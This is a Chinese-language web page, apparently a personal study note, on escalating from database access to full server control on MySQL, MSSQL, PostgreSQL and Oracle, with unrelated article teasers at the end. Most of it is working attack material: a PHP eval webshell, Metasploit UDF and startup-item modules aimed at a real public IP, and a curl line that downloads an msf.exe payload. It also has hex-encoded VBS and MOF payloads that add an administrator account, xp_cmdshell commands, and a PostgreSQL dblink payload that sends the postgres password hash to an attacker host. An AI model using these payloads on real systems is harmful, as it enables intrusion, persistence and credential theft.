数据库权限提升GetShell

news/2024/10/21 22:21:45/

数据库提权总结 - 随风kali - 博客园 (cnblogs.com)

MySQL 漏洞利用与提权 | 国光 (sqlsec.com)

sql注入getshell的几种方式

第99天:权限提升-数据库提权&口令获取&MYSQL&MSSQL&Oracle&MSF

SQL注入拿shell的方式应该是通用的得到连接数据库权限之后,利用本身自带的方式从数据库权限提升到机器的权限,本文中的其他数据库利用方式也是这样的,利用自身的漏洞或者配置问题从数据库权限提权得到整个机器的权限,跟Webshell是一样得到道理只是对象从网站80换成了数据库3306等等,最终的目标就是拿到机器权限,网站是上传exe 数据库大多数是执行语句反弹…

除Access数据库外,其他数据库基本都存在数据库提权的可能)

下列备份配置文件一般会存储加密后的数据库连接密码,拿去解密即可得到明文连接进行后续提权操作,提权前置基础都是取得了账户密码连接数据库[//]: # (select version()或者数据库版本选择对应的导出方式) 并且安全模式没有限制写入如果限制了就宣告失败,提权都是需要写文件进去的

或者是inc目录下conn或者data文件

SQL注入Webshell

into outfile导出函数

into outfileMySQL数据库中的一个导出函数,它可以将查询结果写入到文件中

条件

  • root权限可以读写使用单引号
  • 知晓网站根目录绝对路径[//]: # (SELECT @@basedir; 可以知晓mysql的安装路径 \Extensions\MySQL8.0.12)
  • secure_file_priv[//]: # (筛Q飞来普瑞死)没有具体 限在mysql 5.6.34版本以后 secure_file_priv的值默认为null
show global variables like "%secure%"; // 查询secure_file_priv属性开启状态

如下情况代表无法写入,修改这个值只能手动

为空使用此语句写入文件到特定目录 saber为语句内容,写入成功则根据目录连接webshell

// 有就创建没有就写入,前提是可写并且知道网站根目录select 'saber' into outfile  'C:/Users/abc/Desktop/66.txt'; select '<?php eval($_GET[pass]);?>' into outfile  'B:\\phpstudy_pro\\WWW\\webshell\\saber.php';

load_file读文件

读取函数会在页面上回显出文件内的信息

条件

  • 存在开启日志记录和更换日志 root权限
  • 知晓网站根目录绝对路径
  • secure_file_priv值允许对该路径下的文件进行操作((为空或有路径)

日志写shell

日志改为脚本文件,将shell记录进日志来写shell,与导出函数写shell相比,规避了 secure_file_priv 的限制

  • 存在开启日志记录和更换日志 root权限
  • 知晓网站根目录绝对路径

os-shell

Oracle数据库不支持

原理

通过into oufil向服务器写入两个文件,,一个进行上传文件一个可以直接执行系统命令,首先上传第一个可以上传文件的php,再通过这个可以上传文件的php去上传可以命令执行的php,并将输出的内容返回sqlmap


第一步向目标靶机写一个上传的webshell脚本,然后利用上传脚本上传一个执行系统命令的webshell

此为sqlmap的一个命令,--os-shell就是使用udf提权获取WebShell

条件

  • 知晓网站根目录绝对路径
  • secure_file_priv[//]: # (筛Q飞来普瑞死)没有具体 限在mysql 5.6.34版本以后 secure_file_priv的值默认为null
  • 要求为数据库DBA,--is-dba检查当前网站连接的数据库账号是否为mysql user表中的管理员如root
  • 高权限用户
tmpbeewq.php 用来执行系统命令
tmpuqvgw.php 用来上传文件

MySQL提权 3306

默认不支持外联

条件

  • **服务器开启数据库服务 **
  • 获得最高权限用户 应该无所谓本来就是为了拿机器权限而不是数据库权限
  • **secure_file_priv**** 无限制**

UDF提权

原理

UDF拓展接口 自定义函数,是数据库功能的一种扩展。用户通􏰁自定义函数可以实现在 MySQL中无法方便实现的功能,其添加的新函数都可以在 SQL语句中调用

注意:

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的lib\plugin文件夹下文件夹下才能创建自定义函数,常用的工具 sqlmap Metasploit 里面都自带了对应系统的动态链接库文件;,不能直接用怕被杀还需要解码,

mysql<5.2 导出目录 c:/windows或system32
mysql=>5.2 导出安装目录 /lib/plugin/  (没有就手工创建)
// 获取mysql的安装路径 \Extensions\MySQL8.0.12\SELECT @@basedir;

MSF模块UDF提权

MSF模块提供了UDF提权功能,它会将dll文件写入lib\plugin\目录下,该dll文件中包含sys_exec()sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令 (前提开始外链,命令开启)

# 允许外部连接但另外条件是必须为空允许写入 secure_file_priv="",但是已经得到权限了那么自然这里也是为空 
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

命令执行后创建%代表是允许任何用户连接,可以用navicat数据库远程连接,哥斯拉这类工具可以连接的原因是以为是利用webshell脚本去连接,等于是内部至内部过程,navicat属于外部连接内部,MSF连接前也需要是允许外链才可以

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set username root
set rhosts 47.102.195.100
run

执行后在网站安装目录下写入dll文件

上传完成后在数据库执行语句创建函数绑定该上传的dll,上传了dll后才能执行绑定的命令

create function sys_eval returns string soname "saber.dll";

从而利用绑定好的函数里面的eval执行系统命令,既然可以执行系统命令那么可以远程下载文件造成木马上线主机.我们一直连接的是数据库并权限不是web权限,所以不能直接上线的,数据库里面只有表只能通过执行命令上线,不要误解了,远程上线操作在文章中体现,远程下载exe执行

select sys_eval('curl http://192.168.172.131:8000/msf.exe --output msf.exe');

详细过程看上面文章

创建自定义函数并调用命令

mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval

mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+

名称支持自定义,然后利用此函数执行命令比如增加用户

mysql > select sys_eval('whoami');

UDF一键提权

利用暗月师傅的马子 正常上传上去,然后一键提权

启动项提权

原理

mysql把一段vbs脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs脚本里面的命令

mysql写入启动项

mysql > select 0xfaba7dcce8bc7a0273ae516626177f0b826970742E4372656174654F626A6563742822575363726970742E5368656C6C22290A5773685368656C6C2E52756E20226E65742075736572206861636B6572205040737377307264202F616464222C20300A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F616464222C20300A into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs";

MSF启动项模块

利用MSF模块向机器启动目录上传木马文件,开启监听服务器重启后执行上线exe

use exploit/windows/mysql/mysql_start_up
set rhosts 47.102.195.100
set username root
set password root
set AllowNoCleanup true
run

反弹shell提权

Mysql提权之反弹shell

原来和UDF一致都是写入.dll文件创建命令执行语句这个要写入的太多了用的时候在文章里粘贴吧


nc -vvp 7788  // 攻击机监听端口

MOF提权

支持提权版本只有2003和一些之前的版本

原理

MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF文件。MOF当中有一段是vbs脚本,通过控制这段vbs脚本的内容比如创建用户这些,进行提权

#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter 
{ EventNamespace = "Root\\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; 
}; instance of ActiveScriptEventConsumer as $Consumer 
{ Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; instance of __FilterToConsumerBinding 
{ Consumer   = $Consumer; Filter = $EventFilter; 
};

利用 into dumpfile导出函数写入文件到指定目录

mysql > select 0x23ADd49dfDEF107045BD69845DDaDbb7293B819f5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";

MSSQL/SQL Server提权 1433

Getshell

sqlserver命令注入和getshell

通过Mssql提权的几种姿势 - N0r4h

条件

  • 前提得知绝对路径,并且可写
  • 站库不分离 站库是一体的
  • 数据库必须被备份过一次

xp_cmdshell提权

xp_cmdshell作用类似于mysql udf,其本质是一些sql语句的集合

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

注意:

xp_cmdshellmssql2000中开启,在2005之后就是默认禁止的,我们需要Systemadmin Sa权限来开启xp_cmdshell

开启命令

启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'x p_cmdshell', 0;
reconfigure;
EXEC master.dbo.xp_cmdshell 'whoami'   // 执行命令脚本

sp_oacreate可以删除、复制、移动文件,可以配合sp_oamethod来写文件执行cmd,原理调用OLE对象,利用OLE对象的run方法执行系统命令但是此方法没有回显 所以一般用于xp_cmdshell无法使用时

启用:
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 0;   
RECONFIGURE WITH OVERRIDE;

调用cmd写入文件

declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

沙盒提权

执行命令方法无法使用时,可以使用沙盒进行提权,属于一种安全功能,操作看开篇文章吧

条件

PostgreSQL数据库 5432

PostgreSQL关系型数据库9.3-11版本存在一处特性.管理员或者具有'COPY TO/FROM PROGRAM'权限的用户,可以使用此特性执行任意命令

提权利用漏洞CVE-2018-1058 
CVE-2019-9193

CVE-2018-1058 管理员触发反弹

漏洞复现本地Docker启动环境

普通用户登录执行SQL语句执行反弹shell,管理员用户操作数据库触发sql语句即可反弹

docker compose up -d

通过提供的普通用户账户密码连接PostgreSQL数据库准备执行反弹shell语句,注意修改其中的IP地址,改为攻击机的地址,也就是反弹给谁

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$select dblink_connect((select 'hostaddr=192.168.111.131 port=5432 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

打开Kali启动NC监听,接下来就是等待管理员操作数据库的时候就会触发反弹shell

nc -lvvp 5432

漏洞复现假装自己是管理员操作了数据库,攻击机机会收到返回的shell 但是我没有任何反应

docker compose exec postgres pg_dump -U postgres -f evil.bak vulhub

CVE-2019-9193 命令执行

Postgres默认的5432端口,默认账号密码为postgres/postgres

默认管理员账户密码,登录上去后直接命令执行的POC 这个是SQL语句所以数据库提权都是围绕执行SQL语句

docker compose up -d

Docker镜像一直拉不下来,开启在线的Vulhub靶场了,通过给到的地址和账户密码连接数据

选择新建查询后执行带有命令执行的SQL语句成功回显,替换远程下载木马不就是可以拿到权限了

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';  // cat /etc/passwd
SELECT * FROM cmd_exec;

Oracle提权 1521

oracle提权执行命令工具oracleShell v0.1

注入存储过程提权

SYS创建的存储过程存在sql注入。拥有create procedure权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan命令,获得Oracle数据库dba权限


http://www.ppmy.cn/news/1540912.html

相关文章

每日一题——第一百一十八题

题目&#xff1a;进制转换合集 #pragma once #include<stdio.h> #include<ctype.h> #include<stdbool.h> #include<string>/// <summary> /// 将字符串表示的任意进制数转为十进制 /// </summary> /// <param name"str">…

全面了解 NGINX 的负载均衡算法

NGINX 提供多种负载均衡方法&#xff0c;以应对不同的流量分发需求。常用的算法包括&#xff1a;最少连接、最短时间、通用哈希、随机算法和 IP 哈希。这些负载均衡算法都通过独立指令来定义&#xff0c;每种算法都有其独特的应用场景。 以下负载均衡方法&#xff08;IP 哈希除…

VLMEvalKit多模态大模型评测工具源码解析

vlmeval/api和vlmeval/vlm文件夹下分别是api接口和本地运行的大模型的代码 基类都是base vlmeval/dataset是数据集处理代码 vlmeval/inference.py是推理代码 run.py的整个流程 1 vlmeval/api/base.py 主要为需要与外部API交互的系统提供了一个通用的框架 类属性 allowed_type…

Support package for Hovl Studio assets 材质转换器

编辑器将仅适用于标准渲染管道的着色器替换为所有材质中的自定义管道。 编辑器只能使用Hovl Studio的资源&#xff01; 此资源还包括用于URP&#xff08;LWRP&#xff09;和HDRP 2019.2的失真着色器以及许多有用的着色器。 下载&#xff1a;​​Unity资源商店链接资源下载链接…

绝对差值的和

问题分析&#xff1a; 取模操作的位置不正确&#xff1a; 你在计算 result - max_ 之前没有正确处理大数取模&#xff0c;这可能导致数值溢出。 最大差值减少量的计算&#xff1a; 算法中的内部循环效率较低&#xff0c;可以优化。 优化后的代码&#xff1a; 我们可以参考官…

适合学生党的平价蓝牙耳机有哪些?四款便宜又好的蓝牙耳机盘点

在寻找适合学生党的平价蓝牙耳机时&#xff0c;我们总是希望能在有限的预算内找到性能卓越、品质可靠的产品&#xff0c;毕竟&#xff0c;对于学生而言&#xff0c;性价比是选择耳机时的重要考量因素&#xff0c;那么适合学生党的平价蓝牙耳机有哪些&#xff1f;市面上琳琅满目…

【人工智能-初级】第6章 决策树和随机森林:浅显易懂的介绍及Python实践

文章目录 一、决策树简介二、决策树的构建原理2.1 决策树的优缺点优点缺点 三、随机森林简介3.1 随机森林的构建过程3.2 随机森林的优缺点优点缺点 四、Python实现决策树和随机森林4.1 导入必要的库4.2 加载数据集并进行预处理4.3 创建决策树模型并进行训练4.4 可视化决策树4.5…

电子商务网站维护技巧:保持WordPress、主题和插件的更新

在这个快节奏的数字时代&#xff0c;维护一个电子商务网站的首要任务之一是保持WordPress、主题和插件的最新状态。过时的软件不仅可能导致功能故障&#xff0c;还可能带来安全风险。本文将深入探讨如何有效地更新和维护您的WordPress网站&#xff0c;以确保其安全性和性能。 …